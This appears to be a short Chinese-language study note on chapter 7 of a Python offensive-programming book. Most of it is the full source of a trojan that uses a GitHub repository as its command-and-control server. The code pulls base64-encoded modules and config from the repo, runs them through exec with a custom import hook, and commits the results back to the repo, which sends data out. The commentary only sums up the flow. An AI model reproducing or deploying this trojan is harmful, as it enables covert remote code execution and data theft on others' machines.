動機

自動從github拉code下來跑!? 有趣!!

CH7

import json
import base64
import sys
import time
import types
import random
import threading
import queue
from github3 import login

trojan_id = "abc"
trojan_config = "config/{}.json".format(trojan_id)
data_path = "data/{}/".format(trojan_id)
trojan_modules = []
configured = False
task_queue = queue.Queue()


class GitImporter(object):
   def __init__(self):
       self.current_module_code = ""

   def find_module(self, fullname, path=None):
       if configured:
           print("[*] Attempting to retrieve %s" % fullname)
           new_library = get_file_contents("modules/%s" % fullname)
           if new_library:
               self.current_module_code = base64.b64decode(new_library)
               return self
       return None

   def load_module(self, name):
       module = types.ModuleType(name)
       exec(self.current_module_code, module.__dict__)
       sys.modules[name] = module
       return module


def connect_to_github():
   """ You can replace the password in the call to login() below for an
   access token generated by GitHub if your account uses 2FA for access
   (as it should). Easy-to-follow instructions on how to generate this
   token can be found here:
   https://help.github.com/en/github/authenticating-to-github/
   creating-a-personal-access-token-for-the-command-line
   If you choose to use the token, simply replace the 'password'
   attribute for 'token' below and paste the token generated by
   GitHub as a value instead of 'YourPassword'. The code should be:
   gh = login(username="YourUsername", token="YourToken")
   """
   gh = login(username="YourUsername", password="YourPassword")
   repo = gh.repository("YourUsername", "RepositoryName")
   branch = repo.branch("master")
   return gh, repo, branch


def get_file_contents(filepath): # read
   gh, repo, branch = connect_to_github()
   tree = branch.commit.commit.tree.to_tree().recurse()
   for filename in tree.tree:
       if filepath in filename.path:
           print("[*] Found file %s" % filepath)
           blob = repo.blob(filename._json_data['sha'])
           return blob.content
   return None


def get_trojan_config():
   global configured
   config_json = get_file_contents(trojan_config)
   configuration = json.loads(base64.b64decode(config_json))
   configured = True

   for tasks in configuration:
       if tasks['module'] not in sys.modules:
           exec("import %s" % tasks['module'])

   return configuration


def store_module_result(data): # write
   gh, repo, branch = connect_to_github()
   remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
   repo.create_file(remote_path, "Commit message", data.encode())
   return


def module_runner(module):
   task_queue.put(1)
   result = sys.modules[module].run()
   task_queue.get()

   # store the result in our repo
   store_module_result(result)
   return


# main trojan loop    
sys.meta_path = [GitImporter()]

while True:
   if task_queue.empty():
       config = get_trojan_config()
       for task in config:
           t = threading.Thread(target=module_runner, args=(task['module'],))
           t.start()
           time.sleep(random.randint(1, 10))
   time.sleep(random.randint(1000, 10000))

兩個重點

  1. 新的import,從github上拉檔案下來
  2. 與github互動

流程是

  1. 從github拉config,去載入module
  2. 從github拉module,跑他的code